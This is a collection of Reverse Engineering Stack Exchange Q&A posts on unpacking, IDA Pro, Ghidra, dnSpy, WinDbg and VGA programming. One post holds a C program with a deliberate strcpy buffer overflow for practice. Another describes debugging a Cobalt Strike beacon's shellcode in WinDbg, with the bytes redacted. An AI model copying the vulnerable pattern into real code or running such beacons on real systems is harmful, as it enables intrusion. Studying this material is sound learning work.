<p>I solved this by manually fixing each missing import API.</p> <p>First I did a text dump of the <em>unpacked</em> dll using <a href="https://www.portablefreeware.com/index.php?id=2506" rel="nofollow noreferrer">BinText</a> where I found a list of imported API's.</p> <p><a href="https://i.stack.imgur.com/HFa3V.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HFa3V.png" alt="enter image description here" /></a></p> <p>I then compared it to the list of API detected by <strong>ImpRec</strong> and I noticed that the calls are in the same order on the text dump.</p> <p><a href="https://i.stack.imgur.com/LaiR4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/LaiR4.png" alt="enter image description here" /></a></p> <p>So I just double clicked the line of the invalid import on <strong>ImpRec</strong> and manually input the correct API (based on the order shown on the text dump) as seen here:</p> <p><a href="https://i.stack.imgur.com/gzBGm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gzBGm.png" alt="enter image description here" /></a></p> <p>I repeated this for every invalid API and fixed the dump and this time it all worked.</p> <p>To sum it all up from the original question. The OEP was correct. The detected API's were correct. It just needed a little intervention to fix the invalid imports detected.</p> <p>Thank you!</p>
26667
2020-12-29T22:35:05.067
<p>I've been trying to unpack this dll and I'm pretty sure that <code>0x7c3ea902</code> or <code>0x1007A9D2</code> (ASLR disabled) or simply <code>0x7A9D2</code> is OEP.</p> <p><a href="https://i.stack.imgur.com/cwpHn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cwpHn.png" alt="enter image description here" /></a></p> <p>But after dumping with OllyDumpEx and trying to fix IAT with <strong>ImpREC</strong> it just doesn't work.</p> <p><a href="https://i.stack.imgur.com/ffrbx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ffrbx.png" alt="enter image description here" /></a></p> <p>Here are the results from <strong>ImpREC</strong></p> <p><a href="https://i.stack.imgur.com/WdxCO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WdxCO.png" alt="enter image description here" /></a></p> <p>My question is, why are there invalid imports detected when the OEP is most likely correct?</p>
Rebuild IAT after manually unpacking DLL
|dll|unpacking|dumping|import-reconstruction|
<p>You can't, not as a standard command that's currently available through the user interface, anyway. Force new variable only works for stack locations. Perhaps a future version of Hex-Rays will allow the user to force new register variables.</p>
26669
2020-12-30T09:19:41.577
<p>IDA Pro 7.2 has a new functionality named <code>force new variable</code>. See: <a href="https://reverseengineering.stackexchange.com/questions/18365/how-do-i-resolve-ida-pro-hexrays-aliased-local-variables">Here</a> and <a href="https://www.hex-rays.com/products/decompiler/manual/cmd_force_lvar.shtml" rel="nofollow noreferrer">Here</a>.</p> <p>But it is only efficient for stack-based variables. How can I force a new variable for a register-based variables?</p>
IDA Pro "force new variable" for register variable?
|ida|
<p>To get the program’s argument, you need to check <code>argv[1]</code> instead of <code>argv[0]</code>. From <a href="https://en.cppreference.com/w/cpp/language/main_function" rel="nofollow noreferrer">cppreference</a>:</p> <blockquote> <p>The parameters of the two-parameter form of the main function allow arbitrary multibyte character strings to be passed from the execution environment (these are typically known as command line arguments), the pointers <code>argv[1].. argv[argc-1]</code> point at the first characters in each of these strings. <code>argv[0]</code> is the pointer to the initial character of a null-terminated multibyte string that represents the name used to invoke the program itself (or an empty string &quot;&quot; if this is not supported by the execution environment).</p> </blockquote>
26672
2020-12-30T16:57:57.493
<p>I'm trying to learn Buffer Overflow Here is the vulnerable code</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; int main(int argc, char const *argv[]) { char buffer[64]; if(argc &lt; 2){ printf(&quot;The number of argument is incorrect\n&quot;); return 1; } strcpy(buffer, argv[0]); return 0; } </code></pre> <p>The problem is that when I try to run the code in Immunity Debugger, I don't see AAAAAAA in the source in the stack pane I see the path to my test.exe. Later, I don't see 0x41s ....obviously</p> <p>What is happening ?</p> <p><a href="https://i.stack.imgur.com/LVlMD.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/LVlMD.png" alt="enter image description here" /></a></p>
Immunity Debugger showing path instead of argv[1]
|immunity-debugger|
<p>It seems these types are custom to the program you’re analyzing and probably come from the debug information (e.g. DWARF).</p> <p>The standard types from <code>stdint.h</code>are usually typedefs and not structs.</p>
26682
2021-01-02T02:36:39.907
<p>During debugging a binary in IDA Pro, I've noticed types of the form</p> <pre><code>30 uint16_n 00000002 struct {uint16_t inner;} 42 uint32_n 00000004 struct {uint32_t inner;} </code></pre> <p>where the fields in each row from left to right correspond to <code>Ordinal</code>, <code>name</code>, <code>size</code>, <code>description</code> in the <strong>Local Types</strong> subview of IDA Pro. While the sizes seem to match the <code>uintX_t</code> counterparts, I would appreciate it if someone can explain the reasoning for introducing <code>uintX_n</code> types and the difference they have with the well known <code>uintX_t</code> types in which <code>X=8,16,32</code>.</p>
What is the difference between uintX_n (used in IDA Pro) and unitX_t types?
|ida|struct|type-reconstruction|
<p>By default <a href="https://github.com/chocolatey/choco" rel="nofollow noreferrer">choco</a> doesn't want to install 32bit if you are on 64bit system. But, with a little bit of effort, I found that to install 32bit you will need to add either add: <strong>--x86</strong> or <strong>--forcex86</strong> to force x86 (32bit) installation on 64 bit systems.</p> <p>To download dnspy 32 bit you would run: <code>choco install dnspy --x86</code></p> <p>Alternatively, you can go to <a href="https://github.com/dnSpy/dnSpy/releases" rel="nofollow noreferrer">dnSpy</a> github and download it from there.</p> <p><strong>For next time please refer to <a href="https://docs.chocolatey.org/en-us/choco/commands/install" rel="nofollow noreferrer">choco install</a> docs and read the entire <a href="https://reverseengineering.stackexchange.com/help/asking">help section</a></strong></p> <p>I hope you learn something new today ☺</p>
26688
2021-01-03T00:53:06.007
<p>I am very unsure if this is the right place to as or if I need to ask this at another forum, but here it goes.</p> <p>I am trying to reverse engineer a .NET program with the use of dnspy. I installed dnspy with <code>choco install dnspy</code>. I was then able to start dnspy in by calling it in pwsh, but when debugging the program I get the following error <code>Could not start the debugger. Use 32-bit dnSpy to debug 32-bit applications</code>. I then <a href="https://buildfunthings.com/posts/reversing-tear-or-dear/" rel="nofollow noreferrer">found this link</a> that said to restart the debugger with <code>dnspy-x86</code>. But still the debugger is 64 bit. I also tried to run dnspy by running <code>dnspy -x86</code>.</p> <p>I see <a href="https://chocolatey.org/packages/dnspy#virus" rel="nofollow noreferrer">here </a> in chocolatey.org that the 32 bit is checked in virustotal. But I am unsure if the 32-bit version is included. I also cant find any information on flags or parameters dnspy is able to take.</p> <p>My question is if dnspy 32 bit is installed by using choco or if one has to install the 32-bit manually. And if dnspy 32 bit is installed with choco, how do I start it in 32 bit.</p>
dnSpy: how to start 32 bit version
|.net|dnspy|
<p>Try enabling break on module load:</p> <pre><code>sxe ld rootkitDriverName </code></pre> <p>See also <a href="https://reverseengineering.stackexchange.com/a/2638/60">https://reverseengineering.stackexchange.com/a/2638/60</a></p>
26700
2021-01-04T12:24:51.753
<p>The only method i know to break on a <code>DriverEntry</code> of a rootkit driver when its loaded is to disassmble <code>nt!IopLoadDriver</code> and find an indirect call in it and break on it. Setting a break point on <code>rootkitDriverName!DriverEntry</code> doesn't work either for some reason.</p> <p>Is there any easier way to break on the rootkit driver entry? Why does <code>rootkitDriverName!DriverEntry</code> not work?</p>
Is there an easier way to break on a rootkit driver load, other than disassembling IopLoadDriver?
|malware|windbg|kernel|
<pre><code>Quote From Link #define LOBYTE(x) (*((_BYTE*)&amp;(x))) </code></pre> <p>is that a hypothetical query x is treated as address<br /> so x-1 will be a 32 bit type on a x86 machine so theoretically<br /> you cannot assign a 32 bit type to an 8 bit type<br /> LOBYTE(x) will be a byte and not an address so again theoretically you cannot assign a byte to a byte</p> <p>LOBYTE(x) is an <strong>AND</strong> operation that extracts the unsigned byte from a specific address</p> <pre><code>x as address contents LOBYTE(x) (byte *)&amp;x = LOBYTE(x)-1 0x00400000 0xffffffff 0x000000ff byte[0x004000000] = 0x000000ff -1 =0x000000fe </code></pre> <p>so if you look as a DWORD <strong>0x400000 will now contain 0xfffffffe</strong></p> <p>demo using a python script</p> <pre><code>:\&gt;cat LOBYTE.py import ctypes def LOBYTE(arg): return arg.value &amp; 0x000000ff x = ctypes.c_ulong(0xffffffff) print( &quot;x as address&quot; , ctypes.byref(x)) print( &quot;x holds&quot; , hex(x.value)) print(&quot;result of LOBYTE(x)&quot;, LOBYTE(x)) x.value = ( (x.value &amp; 0xffffff00 ) | LOBYTE(x)- 1 ) print( &quot;x holds&quot; , hex(x.value)) :\&gt;python LOBYTE.py x as address &lt;cparam 'P' (017CA098)&gt; x holds 0xffffffff result of LOBYTE(x) 255 x holds 0xfffffffe </code></pre>
26704
2021-01-04T23:09:53.127
<p>I understand that <a href="https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h" rel="nofollow noreferrer">LOBYTE</a> is an IDA macro for retrieving the lower byte of a variable. My question is what is the difference between the result of <code>x=x-1</code> and <code>LOBYTE(x)=x-1</code> when <code>x</code> is smaller than or equal to <code>0xff</code>? I should add that I'm implicitly assuming that <code>x&gt;0</code>. Thank you!</p>
Assuming x is a number smaller than 0xff what happens to x after the assignment LOBYTE(x)=x-1?
|ida|assembly|c|
<p>Simple, it's a section that will supposedly be mapped as <a href="https://docs.microsoft.com/en-us/windows/win32/memory/memory-pools" rel="nofollow noreferrer">paged memory</a>. This can contain code or data and is governed by <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/mm-bad-pointer#paged_code" rel="nofollow noreferrer">the PAGED_CODE macro</a>, among others, at source code level.</p> <p>That is, whatever gets stored in that section cannot be accessed at arbitrary IRQLs. Quote:</p> <blockquote> <p>If the IRQL &gt; APC_LEVEL, the PAGED_CODE macro causes the system to ASSERT.</p> </blockquote> <p>Also see <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/overview-of-windows-memory-space" rel="nofollow noreferrer">this</a> for an entry point into the overall topic. But I reckon given the specific nature of your question you are aware of paged and nonpaged pool and so on.</p>
26708
2021-01-05T06:34:19.827
<p>I have seen many drivers with a section named PAGE, but couldn't find good enough information on it, what is the role of this section?</p>
What is the role of PAGE section in windows Drivers?
|windows|pe|kernel|
<p>Yes, this sounds perfectly normal. If the program did not use C++, you won't see thiscall with usage of <code>ecx</code> but just standard stdcall or cdecl which use only stack for passing arguments.</p>
26731
2021-01-08T16:27:30.937
<p>I am currently analyzing an old Win32 game from 1999 that was probably compiled with Visual C++ 6 and was programmed in C.</p> <p>I noticed that there are almost no usercalls (i.e. calls that use registers to pass arguments) except for calls in the statically linked CRT library. Is this a reasonable assumption for a game of this age?</p> <p>To identify registers used as function paramters I used an algorithm similar to the one described in <a href="https://www.hex-rays.com/blog/automated-binary-analysis-woes/" rel="nofollow noreferrer">this IDA blog post</a>. The algorithm identifies PUSH/POP pairs and searches for registers usages before any assignment except in the PUSH/POP pairs.</p>
usercalls in old Win32 game
|binary-analysis|register|callstack|arguments|
<p>Check the header files from the sample code/SDK provided by the manufacturer. Often they have regular structure and can be parsed with a bit of scripting.</p>
26768
2021-01-14T07:40:35.330
<p>I am currently reversing a firmware for the TI CC3200 (ARM Cortex M4) via ghidra.</p> <p>For other ARM chips I have learned that I may use a SVD-Loader to load all information about the registers and memory into ghidra. As it seems there are no SVD files available to import the information automatically. Also adding the ROM functions provided by the driverlib would significantly help.</p> <p>Are there different ways to load that information into ghidra (without doing it manually using the tech reference). What kind of files I could extract that information from?</p>
CC3200 Firmware - gaining information about - Registers / Memory (Ghidra) - SVD / CMSIS
|ghidra|
<p>can you clarify if the error you are getting is related to message that says this may be caused by another thread holding the LoaderLock ?</p> <p>if that is the case then it means you allocate memory etc just after windbg/cdb broke on System Breakpoint</p> <p>if you are doing .dvalloc when you are on System Breakpoint then HttpRequestA might cause the block</p> <p>go to the entrypoint of your dummy using say g @$exentry and then execute the shellcode</p> <p>use dp @rsp to find the return address and set a breakpoint on the return with bp poi(@rsp) before you hit g on HttpSendRequestA</p> <p>it should break properly and not hang</p> <pre><code>0:000&gt; ? poi(@rsp) Evaluate expression: 140696425381209 = 00007ff6`7074bd59 0:000&gt; bp poi(@rsp) 0:000&gt; bl 0 e 00007ff6`7074bcb4 0001 (0001) 0:**** cdb+0xbcb4 1 e 00007ff6`7074bd59 0001 (0001) 0:**** cdb+0xbd59 0:000&gt; r rcx,rdx,r8,r9 rcx=0000000000cc000c rdx=00007ff67074bdc6 r8=ffffffffffffffff r9=0000000000000000 0:000&gt; da @rdx 00007ff6`7074bdc6 &quot;User-Agent: Mozilla/4.0 (compati&quot; 00007ff6`7074bde6 &quot;ble; MSIE 8.0; Windows NT 5.1; T&quot; 00007ff6`7074be06 &quot;rident/4.0; GTB7.4; InfoPath.2).&quot; 00007ff6`7074be26 &quot;.&quot; 0:000&gt; g ModLoad: 00007ffa`96760000 00007ffa`96776000 C:\Windows\SYSTEM32\dhcpcsvc6.DLL ModLoad: 00007ffa`96c20000 00007ffa`96c3c000 C:\Windows\SYSTEM32\dhcpcsvc.DLL ModLoad: 00007ffa`939a0000 00007ffa`93b76000 C:\Windows\SYSTEM32\urlmon.dll ModLoad: 00007ffa`9c800000 00007ffa`9c80c000 C:\Windows\SYSTEM32\CRYPTBASE.DLL Breakpoint 1 hit cdb+0xbd59: 00007ff6`7074bd59 85c0 test eax,eax 0:000&gt; u . cdb+0xbd59: 00007ff6`7074bd59 85c0 test eax,eax 00007ff6`7074bd5b 0f859d010000 jne cdb+0xbefe (00007ff6`7074befe) 00007ff6`7074bd61 48ffcf dec rdi 00007ff6`7074bd64 0f848c010000 je cdb+0xbef6 (00007ff6`7074bef6) 00007ff6`7074bd6a ebd3 jmp cdb+0xbd3f (00007ff6`7074bd3f) 00007ff6`7074bd6c e9e4010000 jmp cdb+0xbf55 (00007ff6`7074bf55) 00007ff6`7074bd71 e8a2ffffff call cdb+0xbd18 (00007ff6`7074bd18) 00007ff6`7074bd76 2f ??? 0:000&gt; </code></pre> <p>btw no need for .dvalloc when you are in user code simply use .readmem</p> <p>0:000&gt; .readmem cobabyte.bin . l?377</p> <p>Reading 377 bytes.</p> <pre><code>0:000&gt; u . cdb+0xbbf0: 00007ff6`7074bbf0 fc cld 00007ff6`7074bbf1 4883e4f0 and rsp,0FFFFFFFFFFFFFFF0h 00007ff6`7074bbf5 e8c8000000 call cdb+0xbcc2 (00007ff6`7074bcc2) 00007ff6`7074bbfa 4151 push r9 00007ff6`7074bbfc 4150 push r8 00007ff6`7074bbfe 52 push rdx 00007ff6`7074bbff 51 push rcx 00007ff6`7074bc00 56 push rsi 0:000&gt; u </code></pre>
26769
2021-01-14T08:20:39.197
<p>I've been trying to debug a piece of simple shellcode with <code>Windbg</code>. To go over the steps I took, I allocated a buffer for the shellcode with <code>.foreach /pS 5 ( register { .dvalloc 400 } ) { r @$t0 = register }</code> and saved the address in the pseudo register <code>$t0</code>. Later I copied the shellcode with <code>eb @$t0 FC 48 83 E4...[REDACTED]</code>. Then changed the <code>rip</code> value to point to the start address of the shellcode buffer by doing <code>r @$ip=@$t0</code> and then simply resumed the program execution with <code>g</code>.</p> <p>The problem is the shellcode gets hung up on the <code>wininet!HttpSendRequestA</code> API call everytime.</p> <p>The stack trace after manually breaking from the execution:</p> <pre><code>00 000000e0f0efea28 00007ffc24811e93 ntdll!NtWaitForSingleObject+0x14 01 000000e0f0efea30 00007ffc11ba4f64 KERNELBASE!WaitForSingleObjectEx+0x93 02 000000e0f0efead0 00007ffc11b9fba7 wininet!CPendingSyncCall::HandlePendingSync_AppHangIsAppBugForCallingWinInetSyncOnUIThread+0xe0 03 000000e0f0efeb00 00007ffc11b47af6 wininet!INTERNET_HANDLE_OBJECT::HandlePendingSync+0x33 04 000000e0f0efeb30 00007ffc11b023a5 wininet!HttpWrapSendRequest+0x9a256 05 000000e0f0efecd0 00007ffc11b02318 wininet!InternalHttpSendRequestA+0x5d 06 000000e0f0efed40 000002a7d873018c wininet!HttpSendRequestA+0x58 07 000000e0f0efede0 000002a7d87301f9 0x000002a7d873018c 08 000000e0f0efede8 000002a7d873000a 0x000002a7d87301f9 09 000000e0f0efedf0 0000000000cc000c 0x000002a7d873000a </code></pre> <p><strong>NOTE</strong>: The weird part is the shellcode actually works as it supposed to whenever I debug it in the windbg plugin in <code>IDA PRO 7.5</code> (I do everything exactly the same in the plugin console as I did in the windbg binary console).</p> <p>As for the shellcode it's a simple off-the-shelf cobaltstrike http beacon (The same error occurs with any type of <code>reverse shell</code> shellcodes).</p> <p><a href="https://i.stack.imgur.com/equ6Q.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/equ6Q.png" alt="enter image description here" /></a></p> <p>It traverses <code>InMemoryOrderModuleList</code> structure from <code>PEB</code>, resolves the api names from hashes and simply executes them in order.</p> <p>I've never debugged a cobaltstrike beacon directly in windbg before.</p> <p><strong>NOTE</strong>: I don't get any hangs or errors when I try to debug a simple x64 calculator shellcode the same way</p>
WinDBG Hung on Shellcode Execution
|ida|debugging|windbg|shellcode|metasploit|
<h2>Warning: hack!</h2> <ol> <li>with the first IDB open, copy the <code>idbname.til</code> to another place</li> <li>run <code>tilib -#- idbname.til</code></li> <li>copy it to IDA's <code>til/pc</code> (or matching processor) directory.</li> <li>in the second IDB, add the type library from the Type Libraries list.</li> <li>types are now available even though they're not shown in Local Types. You can, for example, &quot;Add standard structure&quot;, or use them in the decompiler.</li> </ol> <p>This is not officially supported so you may run into all kinds of issues (e.g conflicts between type libraries).</p>
26770
2021-01-14T09:39:26.830
<p>I have a pe dll binary with it's pdb file. I'd want to use this file's types in another database.</p> <p>I tried to export the types using &quot;Create C header file&quot; and &quot;Dump typeinfo to IDC file&quot;, but neither worked properly. Trying to import the generated C header file to the second database fails due to templates. The exported IDC file doesn't include all of the types present in the first database.</p> <p>Seems like IDA doesn't support importing types that use C++ features, like templates. I was wondering if there's any way to work around this. I wouldn't want to start manually renaming and importing the types since there's thousands of them.</p>
Exporting C++ types from database to another
|ida|
<p>I don't know the exact length of string. But, few things to note here are as follows:</p> <ol> <li>Ghidra and IDA has a minimum bound on size of string to recover correct type (ghidra has a limit - or lower bound of 5).</li> <li>This is necessary to avoid any false positives or conflicting types. And recover correct types without marking a pointer as a string. Check out this figure for your reference. Generated using Ghidra automated analysis.</li> </ol> <p><a href="https://i.stack.imgur.com/alq0l.png" rel="noreferrer"><img src="https://i.stack.imgur.com/alq0l.png" alt="enter image description here" /></a></p> <p>In Ghidra you can change this limit (minimum is 4) in analysis section.</p> <p><a href="https://i.stack.imgur.com/B2wP0.png" rel="noreferrer"><img src="https://i.stack.imgur.com/B2wP0.png" alt="enter image description here" /></a></p> <ol start="3"> <li><code>Strings</code> command outputs printable characters with minimum size 4 (plus it doesn't use sophisticated type recovery algorithms like ghidra or Ida). I believe that you have a string with length less than 5 and my guess is that it must be 4 to be precise.</li> <li>strings are usually defined in <code>.rodata</code> section. If you doubleclick on DAT_xxxx, it will take you to the location where that string is defined. There, you will see consecutive bytes bunched together by Ghidra or IDA (as shown in image-1). But, the type is not resolved as a &quot;string&quot;.</li> <li>In Ghidra a quick way to fix this by changing data type of DAT_xxxx label: Right click -&gt; Data -&gt; Choose Data Type -&gt; choose string</li> </ol> <p><a href="https://i.stack.imgur.com/C6GQx.png" rel="noreferrer"><img src="https://i.stack.imgur.com/C6GQx.png" alt="enter image description here" /></a></p> <p>Rereferences:</p> <ul> <li>See my question here - <a href="https://github.com/NationalSecurityAgency/ghidra/issues/2274" rel="noreferrer">https://github.com/NationalSecurityAgency/ghidra/issues/2274</a></li> <li>strings manual - <a href="https://linux.die.net/man/1/strings" rel="noreferrer">https://linux.die.net/man/1/strings</a></li> <li>ida pro - <a href="https://reverseengineering.stackexchange.com/questions/2226/how-can-i-make-ida-see-a-string-reference">How can I make IDA see a string reference?</a></li> </ul>
26780
2021-01-15T04:29:23.393
<p>Im new to reverse engineering, and ive trying Ghidra, IDA (Freeware) and Radare2 with a simple CrackMe, the problem is, both Ghidra and IDA couldnt detect a string while Radare2 (Using Cutter GUI) could figure out the name. I used default analysis for all 3. Is there something im missing ? because even the 'strings' command can actually find the string im looking for.</p> <p>Ghidra:</p> <p><a href="https://i.stack.imgur.com/d8kzK.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/d8kzK.png" alt="enter image description here" /></a></p> <p>IDA:</p> <p><a href="https://i.stack.imgur.com/uIt0e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uIt0e.png" alt="enter image description here" /></a></p> <p>Radare2 (Cutter):</p> <p><a href="https://i.stack.imgur.com/jRdfE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jRdfE.png" alt="enter image description here" /></a></p>
Ghidra + IDA cant detect a string but Radare2 can
|ida|radare2|ghidra|
<p>solution ,first need to reverse imei array (without F in packet1) and need Addition byte by byte and output need to Addition with 31, thanks</p>
26782
2021-01-15T12:36:05.847
<p>We are reversing the method of creating a byte array packet.</p> <p>These values are obtained by serialport monitor from mediatek metamode usb port.The values of both packets are changed by changing the imei.</p> <p>example imei : 534534324234239</p> <pre><code> 55 00 38 D0 40 01 34 00 03 00 00 00 00 00 00 00 C8 00 00 00 01 00 00 00 0E 00 12 00 01 00 0E 00 22 00 18 00 10 EF 01 00 01 00 0A 00 01 00 00 00 00 00 35 54 43 23 24 43 32 F9 00 00 72 </code></pre> <p>Packet2 is :</p> <pre><code>55 00 08 D0 00 FF 04 00 00 00 C2 75 C1 </code></pre> <p>We have trouble making packet2, we know last &quot;C1&quot; hex is XOR and the rest are fixed values and do not change.We just do not know by what calculations the value of &quot;C2&quot; in packet 2 was obtained.</p>
how to calculate a byte value
|hex|crc|packet|unknown-data|checksum|
<p>It seems it’s simply performing initialization of the VGA registers and clearing the screen buffer. The array at 318EF contains the values of the CRT controller indexed registers (ports 3D4/3D5).</p>
26784
2021-01-15T18:46:20.440
<p>I'm trying to reverse engineer an old DOS game. At the moment I'm stuck at a function that implements some functionality of VGA running in mode X. My issue is that any of the available sample codes on how to use mode X are often very similar to the one of interest, but never identical. That's why I'm having trouble putting all the pieces together and understanding the context of the function. Reading about all the different registers/ports gave me a basic understanding, but still I can not figure out the actual intention of the function as a whole. Maybe someone with more experience on that topic could help me figure it out, even if it's just some hints on where to get the right pieces of information.</p> <p>Thanks a lot in advance! Here is the function in question:</p> <pre><code>void __cdecl mode12_init_maybe(int width, int height) { unsigned __int8 v2; // al char *v3; // esi unsigned __int16 v4; // ax signed int v5; // ecx unsigned __int8 v6; // al unsigned __int8 inbyteData; // al unsigned __int8 v8; // al if ( width == 320 ) { if ( height == 200 ) { __outbyte(0x3C4u, 4u); // set memory mode inbyteData = __inbyte(0x3C5u); __outbyte(0x3C5u, inbyteData &amp; 0xF7); __outword(0x3C4u, 0xF02u); // set map mask to all 4 planes memset((void *)0xA0000, 0, 0xFFFCu); __outbyte(0x3D4u, 0x11u); // Vertical Retrace End v8 = __inbyte(0x3D5u); __outbyte(0x3D5u, v8 &amp; 0x7F); __outword(0x3D4u, 0xC317u); // turn on byte mode __outword(0x3D4u, 0x14u); // Underline Location; turn off long mode } } else if ( width == 360 &amp;&amp; height == 240 ) { __outbyte(0x3D4u, 0x11u); v2 = __inbyte(0x3D5u); __outbyte(0x3D5u, v2 &amp; 0x7F); __outbyte(0x3C4u, 4u); __outbyte(0x3C5u, 6u); _disable(); __outbyte(0x3C4u, 0); __outbyte(0x3C5u, 1u); __outbyte(0x3C2u, 0xE7u); __outbyte(0x3C4u, 0); __outbyte(0x3C5u, 3u); _enable(); __outword(0x3C4u, 0xF02u); memset((void *)0xA0000, 0, 65532u); v3 = &amp;byte_318EF; LOBYTE(v4) = 0; v5 = 24; do { if ( *v3 != -1 ) { HIBYTE(v4) = *v3; __outword(0x3D4u, v4); } ++v3; LOBYTE(v4) = v4 + 1; --v5; } while ( v5 ); __outbyte(0x3D4u, 0x11u); v6 = __inbyte(0x3D5u); __outbyte(0x3D5u, v6 | 0x80); } } </code></pre> <p>The content of byte_318EF is as follows:</p> <pre><code>cseg02:000318EF byte_318EF db 6Bh, 59h, 5Ah, 8Eh, 5Eh, 8Ah, 0Dh, 3Eh, 0FFh, 0C0h cseg02:000318EF db 6 dup(0FFh), 0EAh, 0ACh, 0DFh, 2Dh, 0, 0E7h, 6, 0E3h </code></pre>
Reverse engineering mode X VGA function(s)
|decompilation|c|functions|dos|
<p>It sounds like you are looking for proper debugger integration in Ghidra. This has recently been published to the GitHub repository in the <a href="https://github.com/NationalSecurityAgency/ghidra/tree/debugger" rel="nofollow noreferrer"><code>debugger</code> branch</a>. There is also a <a href="https://wrongbaud.github.io/posts/ghidra-debugger/" rel="nofollow noreferrer">good blogpost</a> showcasing it.</p> <p>Sadly there does not seem to be a <code>x64dbg</code> backend yet, but I would expect that this will appear as either an official backend or a community plugin at some point in the near future. Concerning your specific questions and whether they are supported or will likely be supported via this debugger feature in the future:</p> <blockquote> <p>see the variables values in ghidra's decompile window</p> </blockquote> <p>I think showing them directly in the decompile window is currently not supported. But showing a list of variables of the current function, globals and maybe specific addresses definitely seems like something that will be supported at some point, or can be written with reasonable effort.</p> <blockquote> <p>in the case of arrays and struct, from the address, how can I have all the values displayed, as if I was debugging from Visual Studio for instance ?</p> </blockquote> <p>I am not quite sure what you mean here because I never used debugging with Visual Studio myself. But this seems like a more specific case of the first question to me and will either be supported at some point, or something that can be scripted for a specific purpose easily enough.</p> <blockquote> <p>how can I label back the renamed variables in ghidra back in x64dbg ?</p> </blockquote> <p>This might be out of scope for a debugger plugin and would require support on the <code>x64dbg</code> side. The <code>x64dbg</code> plugin would need some functionality to receive variable names from Ghidra and apply them. Most likely possible in general, but I do not know if the Debugger Protocol which Ghidra uses supports this notion.</p>
26787
2021-01-16T03:38:45.027
<p>I'm reversing a program and a library without debugging symbols. I'm using x64dbg to break at specific regions and observe what is happening at runtime, and annotate the decompile version in ghidra.</p> <p>I'm using <a href="https://github.com/bootleg/ret-sync" rel="nofollow noreferrer">ret-sync</a> to synchronize horizon between x64dbg and ghidra. However, it's often addresses and not values that are directly visible in x64dbg, and only the horizon is sync in ghidra, from x64dbg as the program goes on.</p> <p>I would like to:</p> <ol> <li><p>see the variables values in ghidra's decompile window: as the program goes and all the values that were allocated between two datetimes in the execution; how can I do this ? For instance when a pointer change of address I would like to follow the &quot;content&quot; directly, not &quot;caring/focusing first&quot; about/on the address.</p> </li> <li><p>in the case of arrays and struct, from the address, how can I have all the values displayed, as if I was debugging from Visual Studio for instance ? (<a href="https://devblogs.microsoft.com/visualstudio/customize-object-displays-in-the-visual-studio-debugger-your-way/" rel="nofollow noreferrer">example</a>)</p> </li> <li><p>how can I label back the renamed variables in ghidra back in x64dbg ?</p> </li> </ol>
With ghidra/x64dbg sync, how to display dynamic values in ghidra's decompile window?
|debugging|ghidra|x64dbg|